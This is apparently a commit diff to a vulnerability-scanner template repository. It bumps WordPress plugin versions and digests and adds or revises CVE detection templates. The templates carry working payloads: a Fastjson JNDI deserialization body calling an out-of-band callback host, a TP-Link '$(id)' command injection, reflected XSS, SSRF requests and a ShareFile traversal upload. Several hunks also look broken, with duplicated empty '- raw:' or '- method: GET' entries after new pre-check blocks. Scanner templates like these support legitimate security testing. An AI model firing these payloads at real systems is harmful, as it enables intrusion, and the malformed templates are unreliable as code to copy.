file/logs/nodejs-framework-exceptions.yaml

@@ -30,4 +30,4 @@ file:
           - 'BadRequestError'
           - 'MongoError'
           - 'SequelizeDatabaseError'
-# digest: 4b0a00483046022100810f2103f931da4c5d71e4e162dfe1510197101e3cd55aa51e5d095267c09baa02210099f455ea91f123dc83eaa3779bfa389412fe209e16185cdf651e2deac96a8a74:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206b453ac694a2c05c8663102d13e9b938aeed5225d070ab99eed518ab28a4a7be02201146d5408400ad112604c8985d03be4fcfd01227b8e7120154f6c2c6176a2d54:922c64590222798bb761d5b6d8e72950

headless/cookie-consent-detection.yaml

@@ -31,4 +31,4 @@ headless:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100e76bc859471d40a3e30233f9c24031af884ac57e49313ac7b52e9fc83a99bb2d0220134f0f741e44a37f5236e1b32c0e8805565dd758e8724ee49b13f75888145afc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203490f9d3cc3e02c27a39e9ca9140e65c55adf9e36701ba4b0778f5ea2ed9ef290221008d2ca11b5bd968a270adf6d15371db627dcffb442e306aacf6820bf0b76f5588:922c64590222798bb761d5b6d8e72950

helpers/wordpress/plugins/admin-menu-editor.txt

@@ -1 +1 @@
-1.13.1
+1.14

helpers/wordpress/plugins/advanced-custom-fields.txt

@@ -1 +1 @@
-6.4.2
+6.4.3

helpers/wordpress/plugins/all-in-one-seo-pack.txt

@@ -1 +1 @@
-4.8.4.1
+4.8.5

helpers/wordpress/plugins/all-in-one-wp-migration.txt

@@ -1 +1 @@
-7.96
+7.97

helpers/wordpress/plugins/antispam-bee.txt

@@ -1 +1 @@
-2.11.7
+2.11.8

helpers/wordpress/plugins/astra-sites.txt

@@ -1 +1 @@
-4.4.30
+4.4.32

helpers/wordpress/plugins/backuply.txt

@@ -1 +1 @@
-1.4.6
+1.4.7

helpers/wordpress/plugins/backwpup.txt

@@ -1 +1 @@
-5.3.0
+5.3.1

helpers/wordpress/plugins/click-to-chat-for-whatsapp.txt

@@ -1 +1 @@
-4.25
+4.26

helpers/wordpress/plugins/elementor.txt

@@ -1 +1 @@
-3.30.2
+3.30.3

helpers/wordpress/plugins/elementskit-lite.txt

@@ -1 +1 @@
-3.5.5
+3.5.6

helpers/wordpress/plugins/essential-addons-for-elementor-lite.txt

@@ -1 +1 @@
-6.2.0
+6.2.1

helpers/wordpress/plugins/font-awesome.txt

@@ -1 +1 @@
-5.0.2
+5.1.0

helpers/wordpress/plugins/google-analytics-dashboard-for-wp.txt

@@ -1 +1 @@
-8.6.2
+8.7.1

helpers/wordpress/plugins/google-listings-and-ads.txt

@@ -1 +1 @@
-3.1.1
+3.2.0

helpers/wordpress/plugins/header-footer-elementor.txt

@@ -1 +1 @@
-2.4.4
+2.4.6

helpers/wordpress/plugins/hostinger.txt

@@ -1 +1 @@
-3.0.42
+3.0.44

helpers/wordpress/plugins/kadence-blocks.txt

@@ -1 +1 @@
-3.5.14
+3.5.15

helpers/wordpress/plugins/litespeed-cache.txt

@@ -1 +1 @@
-7.2
+7.3

helpers/wordpress/plugins/mailchimp-for-wp.txt

@@ -1 +1 @@
-4.10.5
+4.10.6

helpers/wordpress/plugins/mailpoet.txt

@@ -1 +1 @@
-5.12.11
+5.12.12

helpers/wordpress/plugins/ml-slider.txt

@@ -1 +1 @@
-3.99.0
+3.100.1

helpers/wordpress/plugins/optinmonster.txt

@@ -1 +1 @@
-2.16.19
+2.16.20

helpers/wordpress/plugins/pixelyoursite.txt

@@ -1 +1 @@
-11.0.0.4
+11.0.1.2

helpers/wordpress/plugins/premium-addons-for-elementor.txt

@@ -1 +1 @@
-4.11.20
+4.11.22

helpers/wordpress/plugins/royal-elementor-addons.txt

@@ -1 +1 @@
-1.7.1027
+1.7.1028

helpers/wordpress/plugins/safe-svg.txt

@@ -1 +1 @@
-2.3.1
+2.3.2

helpers/wordpress/plugins/shortcodes-ultimate.txt

@@ -1 +1 @@
-7.4.3
+7.4.5

helpers/wordpress/plugins/simple-history.txt

@@ -1 +1 @@
-5.3.0
+5.14.0

helpers/wordpress/plugins/smart-slider-3.txt

@@ -1 +1 @@
-3.5.1.28
+3.5.1.29

helpers/wordpress/plugins/so-widgets-bundle.txt

@@ -1 +1 @@
-1.69.1
+1.69.2

helpers/wordpress/plugins/speedycache.txt

@@ -1 +1 @@
-1.3.4
+1.3.5

helpers/wordpress/plugins/the-events-calendar.txt

@@ -1 +1 @@
-6.14.1
+6.14.2

helpers/wordpress/plugins/translatepress-multilingual.txt

@@ -1 +1 @@
-2.9.20
+2.9.22

helpers/wordpress/plugins/woocommerce-gateway-stripe.txt

@@ -1 +1 @@
-9.6.0
+9.7.0

helpers/wordpress/plugins/woocommerce-payments.txt

@@ -1 +1 @@
-9.6.0
+9.7.0

helpers/wordpress/plugins/woocommerce-services.txt

@@ -1 +1 @@
-3.0.5
+3.0.7

helpers/wordpress/plugins/woocommerce.txt

@@ -1 +1 @@
-10.0.2
+10.0.4

helpers/wordpress/plugins/wp-reviews-plugin-for-google.txt

@@ -1 +1 @@
-12.9
+13.0

helpers/wordpress/plugins/wp-rollback.txt

@@ -1 +1 @@
-2.0.7
+3.0.1

helpers/wordpress/plugins/wp-statistics.txt

@@ -1 +1 @@
-14.14.1
+14.15

http/cves/2014/CVE-2014-2383.yaml

@@ -26,12 +26,28 @@ info:
     cpe: cpe:2.3:a:dompdf:dompdf:*:beta3:*:*:*:*:*:*
   metadata:
     verified: true
-    max-request: 11
+    max-request: 13
     vendor: dompdf
     product: dompdf
   tags: cve2014,cve,lfi,wp-plugin,wpscan,dompdf,wordpress,wp,edb,seclists
 
+flow: http(1) && http(2)
+
 http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dompdf.php"
+      - "{{BaseURL}}/wp-content/plugins/"
+
+    stop-at-first-match: true
+    matchers:
+      - type: word
+        words:
+          - "dompdf"
+          - "WordPress"
+        condition: or
+        internal: true
+
   - method: GET
     path:
       - "{{BaseURL}}{{paths}}"
@@ -68,4 +84,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402200d588a66dd16d08eec1241a48a8099b9e40f52d7771e2c37f4fe7c76a37f2e2d0220493dfa0406e2340c7ccd1ab9f40fc66b8475b6b65d568f5eb329e2b35bf54200:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008d72406f9a9b121a84c1ce48b24d1756a629bc0001cffb07e775234835d79664022100fa2b4ddd40dda922fd573c514d02532184eee70e877c0a19393738dd262d034b:922c64590222798bb761d5b6d8e72950

http/cves/2017/CVE-2017-17562.yaml

@@ -25,13 +25,28 @@ info:
     epss-percentile: 0.99889
     cpe: cpe:2.3:a:embedthis:goahead:*:*:*:*:*:*:*:*
   metadata:
-    max-request: 65
+    max-request: 66
     vendor: embedthis
     product: goahead
     shodan-query: cpe:"cpe:2.3:a:embedthis:goahead"
   tags: cve,cve2017,rce,goahead,fuzz,kev,vulhub,embedthis
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET /cgi-bin/ HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        words:
+          - "GoAhead"
+          - "cgi-bin"
+        condition: or
+        internal: true
+
   - raw:
       - |
         GET /cgi-bin/{{endpoint}}?LD_DEBUG=help HTTP/1.1
@@ -118,4 +133,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022006396398547fe6251be9f9ad3b5a79dbd265ed8a4c8b32d24c03d5aacf35a4e2022100fc566d2a84f1deba46338f94549ca5a367f43b041cf1237d13ac149402c4e8a6:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220439368ea57fa7f2780d0f62691dea8bda8f6732b6a9a7567ca070068b7f5dbb1022010e0d2939d9cabcc856f6eeede1b167f8ca2934368dfe9f1e8dbab824255ae64:922c64590222798bb761d5b6d8e72950

http/cves/2017/CVE-2017-18349.yaml

@@ -0,0 +1,169 @@
+id: CVE-2017-18349
+
+info:
+  name: Fastjson Insecure Deserialization - Remote Code Execution
+  author: night
+  severity: critical
+  description: |
+    parseObject in Fastjson before 1.2.25, as used in FastjsonEngine in Pippo 1.11.0 and other products, allows remote attackers to execute arbitrary code via a crafted JSON request, as demonstrated by a crafted rmi-// URI in the dataSourceName field of HTTP POST data to the Pippo /json URI, which is mishandled in AjaxApplication.java.
+  impact: |
+    Successful exploitation allows complete system compromise through remote code execution, enabling attackers to execute arbitrary commands, access sensitive data, and establish persistent backdoors on the target system.
+  remediation: |
+    Update Fastjson to version 1.2.25 or later which includes security patches for this vulnerability.Disable autotype functionality by setting `fastjson.parser.autoTypeSupport=false`.Implement strict whitelist filtering for `@type` annotations, validate and sanitize all JSON input.Use Web Application Firewalls (WAF) to filter malicious requests, and regularly audit dependencies for known vulnerabilities. Consider migrating to safer JSON parsing libraries like Jackson with secure configurations.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-18349
+    - https://github.com/alibaba/fastjson/wiki/security_update_20170315
+    - https://github.com/pippo-java/pippo/issues/466
+    - https://github.com/h0cksr/Fastjson--CVE-2017-18349-
+    - https://fortiguard.com/encyclopedia/ips/44059
+    - https://www.exploit-db.com/exploits/45983
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2017-18349
+    cwe-id: CWE-20
+    epss-score: 0.7075
+    epss-percentile: 0.98594
+    cpe: cpe:2.3:a:alibaba:fastjson:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    vendor: alibaba
+    product: fastjson
+  tags: cve,cve2017,fastjson,deserialization,rce,oob,oast
+
+variables:
+  rmi_payload: "rmi://{{interactsh-url}}/{{randstr}}"
+  ldap_payload: "ldap://{{interactsh-url}}/{{randstr}}"
+
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/json"
+      - "{{BaseURL}}/api/json"
+
+    headers:
+      Content-Type: application/json
+      Accept: application/json
+
+    body: |
+      {
+        "@type": "com.sun.rowset.JdbcRowSetImpl",
+        "dataSourceName": "{{rmi_payload}}",
+        "autoCommit": true
+      }
+
+    stop-at-first-match: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(interactsh_protocol,'dns')"
+          - "contains(content_type, 'application/json')"
+          - "contains_all(body, 'autoCommit','set property error')"
+        condition: and
+
+    extractors:
+      - type: kval
+        kval:
+          - interactsh_ip
+
+  - method: POST
+    path:
+      - "{{BaseURL}}/json"
+      - "{{BaseURL}}/api/json"
+      - "{{BaseURL}}/parse"
+      - "{{BaseURL}}/deserialize"
+
+    headers:
+      Content-Type: application/json
+      Accept: application/json
+
+    body: |
+      {
+        "@type": "com.sun.rowset.JdbcRowSetImpl",
+        "dataSourceName": "{{ldap_payload}}",
+        "autoCommit": true
+      }
+
+    stop-at-first-match: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(interactsh_protocol,'dns')"
+          - "contains(content_type, 'application/json')"
+          - "contains_all(body, 'autoCommit','set property error')"
+        condition: and
+
+    extractors:
+      - type: kval
+        kval:
+          - interactsh_ip
+
+  - method: POST
+    path:
+      - "{{BaseURL}}/json"
+      - "{{BaseURL}}/api/json"
+      - "{{BaseURL}}/parse"
+      - "{{BaseURL}}/deserialize"
+
+    headers:
+      Content-Type: application/json
+      Accept: application/json
+
+    body: |
+      {
+        "data": {
+          "@type": "com.sun.rowset.JdbcRowSetImpl",
+          "dataSourceName": "{{rmi_payload}}",
+          "autoCommit": true
+        }
+      }
+
+    stop-at-first-match: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(interactsh_protocol,'dns')"
+          - "contains(content_type, 'application/json')"
+          - "contains_all(body, 'autoCommit','set property error')"
+        condition: and
+
+    extractors:
+      - type: kval
+        kval:
+          - interactsh_ip
+
+  - method: POST
+    path:
+      - "{{BaseURL}}/json"
+
+    headers:
+      Content-Type: application/json
+      Accept: application/json
+
+    body: |
+      {
+        "b": {
+          "@type": "com.sun.rowset.JdbcRowSetImpl",
+          "dataSourceName": "{{ldap_payload}}",
+          "autoCommit": true
+        }
+      }
+
+    stop-at-first-match: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(interactsh_protocol,'dns')"
+          - "contains(content_type, 'application/json')"
+          - "contains_all(body, 'autoCommit','set property error')"
+        condition: and
+
+    extractors:
+      - type: kval
+        kval:
+          - interactsh_ip
+# digest: 4a0a00473045022100ec8a07b829d8a9854121213d05a98153e6007f648266bb2310953ea11204b88d0220752709bdb816b366f2add6235cb1091bbc6269201236c68fc331184b701a3e10:922c64590222798bb761d5b6d8e72950

http/cves/2021/CVE-2021-26084.yaml

@@ -24,7 +24,7 @@ info:
     epss-percentile: 0.99978
     cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
   metadata:
-    max-request: 13
+    max-request: 14
     vendor: atlassian
     product: confluence_data_center
     shodan-query:
@@ -33,7 +33,23 @@ info:
     fofa-query: app="atlassian-confluence"
   tags: cve2021,cve,rce,confluence,injection,ognl,kev,atlassian
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        words:
+          - "confluence"
+          - "atlassian"
+        condition: or
+        internal: true
+
+  - raw:
   - raw:
       - |
         POST /{{path}} HTTP/1.1
@@ -70,4 +86,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022078f74d83a0cbb9d38d3ea1d304c2cde8d6c04b2846c3571268b2e5fcb85c70d00220231df6ebc81e468b8613cb12f7fbc517ce952b80cacf087dc2b38e42117f8520:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c75ddae33864ca12c32ca976235ef144e74e49dbf63e6ac23665e8d37aa27d5502206619b7253c87c0b1c29b37ed1f2054ce6bf333ab8b5a86b9da7591622b8d1e00:922c64590222798bb761d5b6d8e72950

http/cves/2022/CVE-2022-2034.yaml

@@ -24,13 +24,28 @@ info:
     cpe: cpe:2.3:a:automattic:sensei_lms:*:*:*:*:*:wordpress:*:*
   metadata:
     verified: true
-    max-request: 100
+    max-request: 101
     vendor: automattic
     product: sensei_lms
     framework: wordpress
   tags: cve,cve2022,wp,disclosure,wpscan,sensei-lms,fuzz,hackerone,wordpress,wp-plugin,automattic
 
+flow: http(1) && http(2)
+
 http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-json/wp/v2/"
+
+    matchers:
+      - type: word
+        words:
+          - "sensei"
+          - "wp-json"
+        condition: or
+        internal: true
+
+  - method: GET
   - method: GET
     path:
       - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"
@@ -56,4 +71,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022043b115415d112792e23b4bd7d447f0c67645fea6f4108d9cbce25aeca6937d41022060b9c85495d9f9f8d8b694d9c9958fb2ad448c2d0b171d9f2188d43126c659e0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cebaa957b132af956ee743a6ccb602385ae92da05941df4dd57c9f45148aace802204fffed9eb8dd73ecc5b1f6853ca94db221fb66883edf87d1aad2a8b5ce6dbf67:922c64590222798bb761d5b6d8e72950

http/cves/2023/CVE-2023-1389.yaml

@@ -24,6 +24,8 @@ info:
     vendor: tp-link
     product: archer-ax21
     fofa-query: body="tp-link"
+    shodan-query: 'title:"TP-Link Router"'
+    verified: true
   tags: cve,cve2023,tp-link,archer,ax21,rce,router,kev
 
 http:
@@ -42,11 +44,14 @@ http:
 
         operation=write&country=$(id)
 
+    matchers-condition: and
     matchers:
       - type: regex
         part: body
         regex:
-          - 'uid=([0-9(a-z)]+)'
-          - 'gid=([0-9(a-z)]+)'
-        condition: and
-# digest: 4a0a00473045022070c06c193e2f10507af1553fffb8e19ff735e2a06b026aa9a11bef4fec21de69022100c080621bb7540ba55837aeb6319820905362ec5141e1339aa1c71c0b7cf42ccc:922c64590222798bb761d5b6d8e72950
+          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a00483046022100d3fff9a2d5c1b163a3026357c86e3101805103d9fadcd41e18dd0164ec0d4c08022100950e0944f8e9b4eee8a1a69c972d63eff10dd8f90d8e3fd40a34b117f2133406:922c64590222798bb761d5b6d8e72950

http/cves/2023/CVE-2023-24489.yaml

@@ -26,7 +26,7 @@ info:
     cpe: cpe:2.3:a:citrix:sharefile_storage_zones_controller:*:*:*:*:*:*:*:*
   metadata:
     verified: true
-    max-request: 256
+    max-request: 257
     vendor: citrix
     product: sharefile_storage_zones_controller
     shodan-query:
@@ -38,7 +38,24 @@ info:
 variables:
   fileName: '{{rand_base(8)}}'
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        words:
+          - "ShareFile Storage Server"
+          - "ShareFile"
+          - "documentum"
+        condition: or
+        internal: true
+
+  - raw:
   - raw:
       - |
         POST /documentum/upload.aspx?parentid={{url_encode(padding)}}&raw=1&unzip=on&uploadid={{fileName}}\..\..\..\cifs&filename={{fileName}}.aspx HTTP/1.1
@@ -66,4 +83,4 @@ http:
       - type: dsl
         dsl:
           - 'BaseURL+ "/cifs/" + fileName + ".aspx"'
-# digest: 4a0a004730450220197565fee88a77fa74a42c6a140b42f3ae358c42819701884f6cdb3c2971bba9022100f131d0a57f1387a92e2d0ac43a4b3b0312e4eceb9b2daa426259c799b75f4330:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203f8f03688ec46a1a6fb3890d617d8c9d7f8b8a7492d91362db745dffb806233d022100c063aac16b5627e402bcb7b2a352bee39090847cea6dce8f0fb99fdf46bfcd23:922c64590222798bb761d5b6d8e72950

http/cves/2023/CVE-2023-27524.yaml

@@ -25,7 +25,7 @@ info:
     cpe: cpe:2.3:a:apache:superset:*:*:*:*:*:*:*:*
   metadata:
     verified: true
-    max-request: 45
+    max-request: 46
     vendor: apache
     product: superset
     shodan-query:
@@ -37,7 +37,23 @@ info:
       - icon_hash=1582430156
   tags: packetstorm,cve,cve2023,apache,superset,auth-bypass,kev
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        words:
+          - "Apache Superset"
+          - "superset"
+        condition: or
+        internal: true
+
+  - raw:
   - raw:
       - |
         GET /api/v1/database/{{path}} HTTP/1.1
@@ -77,4 +93,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402207f293e9006ce733f9cc002550b567ee843ce7744e981c1f81fd421eaff320d5702201c5ea2932d60e4289115e0d6e6947f8e74ab1a019d015ae92dc7d9f9fd535592:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022072948a7ef5476691dab66346cb28f4b1110915ea6ddc89c7fc5d2db2ab5d4224022100a4b3a533b32784c19d7d6e957368fa82b476916982ebdd9b2d606cad7203f8d2:922c64590222798bb761d5b6d8e72950

http/cves/2023/CVE-2023-2825.yaml

@@ -24,7 +24,7 @@ info:
     cpe: cpe:2.3:a:gitlab:gitlab:16.0.0:*:*:*:community:*:*:*
   metadata:
     verified: true
-    max-request: 16
+    max-request: 17
     vendor: gitlab
     product: gitlab
     shodan-query:
@@ -37,7 +37,23 @@ info:
 variables:
   data: "{{rand_base(5)}}"
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        words:
+          - "GitLab"
+          - "gitlab"
+        condition: or
+        internal: true
+
+  - raw:
   - raw:
       - |
         GET /users/sign_in HTTP/1.1
@@ -215,4 +231,4 @@ http:
           - '"url":"\/uploads\/([0-9a-z]+)\/'
         internal: true
         part: body
-# digest: 4a0a004730450220640e6f1dfcdde2fa496c28734414a7733a5e7b0e5e5ee7d1cdfcc6ba08c121c10221009550818de375321268db0f7a6db9758e5064e6fa249eabe5638adf15b8d1232f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c3a0188143213dfd2f20284c15140a18d349b3ef0068d203081023388a6dce6e022028a3158b1dc6ed2772340bbd48004786e236e32513f588699f2ab5b3e0aea750:922c64590222798bb761d5b6d8e72950

http/cves/2023/CVE-2023-6379.yaml

@@ -24,7 +24,7 @@ info:
     cpe: cpe:2.3:a:alkacon:opencms:*:*:*:*:*:*:*:*
   metadata:
     verified: true
-    max-request: 11
+    max-request: 12
     vendor: alkacon
     product: opencms
     shodan-query:
@@ -36,7 +36,22 @@ info:
     google-query: intitle:"opencms"
   tags: cve2023,cve,opencms,xss,alkacon
 
+flow: http(1) && http(2)
+
 http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+
+    matchers:
+      - type: word
+        words:
+          - "OpenCms"
+          - "opencms"
+        condition: or
+        internal: true
+
+  - method: GET
   - method: GET
     path:
       - "{{BaseURL}}{{paths}}"
@@ -72,4 +87,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100fe8b3d6ebae866108d84911725629e9352e68fef9c76a7124c42b6b41575e60c022010f46840624a17336139d45e9d718cfd74ed3af5caa970f86156b4e80df5e988:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022042abc20b1e570314f15fd86b428ac9382d57e03243f10db661faa38e076f6012022100ab68bc6291dc71fb3fc6da612331a317e655620ebd162e7c33bc156c27cd2c99:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-11587.yaml

@@ -0,0 +1,53 @@
+id: CVE-2024-11587
+
+info:
+  name: idcCMS V1.60 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    idcCMS V1.60 is vulnerable to reflected cross-site scripting (XSS) via the idName parameter in read.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
+  impact: |
+    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities.
+  remediation: |
+    Update idcCMS to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the idName parameter in read.php.
+  reference:
+    - https://github.com/Hebing123/cve/issues/75
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-11587
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2024-11587
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:idccms:idccms:1.60:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: idccms
+    product: idccms
+    fofa-query: title="idcCMS"
+    shodan-query: title:"idcCMS"
+  tags: cve,cve2024,xss,idccms
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/read.php?idName=1%3Cscript%3Ealert(document.domain)%3C/script%3E&mudi=getCityData"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<script>alert(document.domain)</script>'
+          - 'add(new Option'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200
+# digest: 490a0046304402203c3f2d393383be39bff2892b682722500160f55ed8682a83a4bf9dc1cf8a8fee022018b8108b14f733cac87115f79cabd0779aa85892ff41e6f77422aabbe5fc810b:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-29198.yaml

@@ -0,0 +1,59 @@
+id: CVE-2024-29198
+
+info:
+  name: GeoServer Demo Request Endpoint - Server Side Request Forgery
+  author: iamnoooob,pdresearch
+  severity: high
+  description: |
+    It is possible to achieve Server Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to sensitive data.
+  impact: |
+    An attacker can exploit this vulnerability to access internal resources, enumerate internal networks, and potentially access sensitive data in cloud environments through the server-side request forgery attack.
+  remediation: |
+    Upgrade to a patched version of GeoServer or configure the Proxy Base URL properly to prevent unauthorized server-side requests through the TestWfsPost endpoint.
+  reference:
+    - https://github.com/geoserver/geoserver/security/advisories/GHSA-5gw5-jccf-6hxw
+    - https://osgeo-org.atlassian.net/browse/GEOS-11390
+    - https://osgeo-org.atlassian.net/browse/GEOS-11794
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-29198
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2024-29198
+    cwe-id: CWE-918
+    epss-score: 0.00039
+    epss-percentile: 0.11129
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: osgeo
+    product: geoserver
+    shodan-query:
+      - http.title:"geoserver"
+      - server:"geohttpserver"
+    fofa-query:
+      - app="geoserver"
+      - title="geoserver"
+    google-query: intitle:"geoserver"
+  tags: cve,cve2024,ssrf,geoserver,oos,oast
+
+variables:
+  string: "{{randstr}}"
+
+http:
+  - raw:
+      - |
+        POST /geoserver/TestWfsPost HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        url=http://{{interactsh-url}}/?body={{string}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(interactsh_protocol, 'http')"
+          - "contains(content_type, 'text/plain')"
+          - "regex('^{{string}}$', body)"
+          - "status_code == 200"
+        condition: and
+# digest: 4a0a0047304502203cf7bb08971874810442afbe702ed4b8cf1e5fd3f6a2e5e2c59d043e05a8733e022100dedb811c87bf81ce8a1548dc9acc9127511106f98b59ee423d7fef540fcb218f:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-33832.yaml

@@ -0,0 +1,57 @@
+id: CVE-2024-33832
+
+info:
+  name: OneNav v0.9.35-20240318 - Server-Side Request Forgery (SSRF)
+  author: ritikchaddha
+  severity: medium
+  description: |
+    OneNav v0.9.35-20240318 is vulnerable to server-side request forgery (SSRF) via the url parameter in the get_link_info API. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.
+  reference:
+    - https://github.com/Hebing123/cve/issues/39
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-33832
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
+    cvss-score: 6.5
+    cve-id: CVE-2024-33832
+    cwe-id: CWE-918
+  metadata:
+    max-request: 2
+    product: onenav
+    fofa-query: icon_hash="1111283449"
+    shodan-query: http.favicon.hash:1111283449
+  tags: cve,cve2024,ssrf,onenav,oast,authenticated
+
+http:
+  - raw:
+      - |
+        POST /index.php?c=login&check=login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        user={{username}}&password={{password}}
+
+      - |
+        POST /index.php?c=api&method=get_link_info HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        url=http://{{interactsh-url}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
+
+      - type: word
+        part: body
+        words:
+          - 'title":'
+          - 'description":'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - "application/json"
+# digest: 4a0a0047304502204ad88fe9b1a61268606d6dd6416e60319b925ee4a97bcc3b316574768db5d402022100d4c43d80919229bb6d9ea28fd005f2ee8a4b506c49f153fadc8f92264b5248b6:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-36527.yaml

@@ -33,4 +33,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100f1f3305f22120123f7dc79ab13e51ccc1a8cd5e9e3c4ddd5cb4a1e8bd38e9d8002210081d947bca290dfd75bfa4bc20bc912112bfb26d7bc665a400f0caad43b1e0ebd:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022054acf6150a49d76b939253b04763fa4ba57a3ade22f5f56f5e7ec1addf19b033022028ab35961b3b10e3544a52c05cb64d8b618129f7fdaa7a6a0574c0bdd0969eaf:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-36675.yaml

@@ -0,0 +1,40 @@
+id: CVE-2024-36675
+
+info:
+  name: LyLme spage v1.9.5 - Server-Side Request Forgery
+  author: ritikchaddha
+  severity: high
+  description: |
+    LyLme spage v1.9.5 is vulnerable to server-side request forgery (SSRF) via the url parameter in apply/index.php. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.
+  reference:
+    - https://github.com/Hebing123/cve/issues/44
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-36675
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
+    cvss-score: 9.1
+    cve-id: CVE-2024-36675
+    cwe-id: CWE-918
+    cpe: cpe:2.3:a:lylme:lylme_spage:1.9.5:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: lylme
+    product: lylme_spage
+    fofa-query: title="LyLme Spage"
+    shodan-query: http.favicon.hash:-282504889
+  tags: cve,cve2024,ssrf,lylme,spage,oast,oob
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/apply/index.php?url=http://{{interactsh-url}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(interactsh_protocol, "http")'
+          - 'contains_all(body, "title\":", "icon\":")'
+          - 'contains(content_type, "application/json")'
+        condition: and
+# digest: 4b0a00483046022100d6f91db01ff2883712a3c2fb5ebe22246d68f3b161fba1d452911dee67b3e344022100e54a79a86e0920c40dac8a21579cdca71f093389405effb5121801cb19a7cb92:922c64590222798bb761d5b6d8e72950

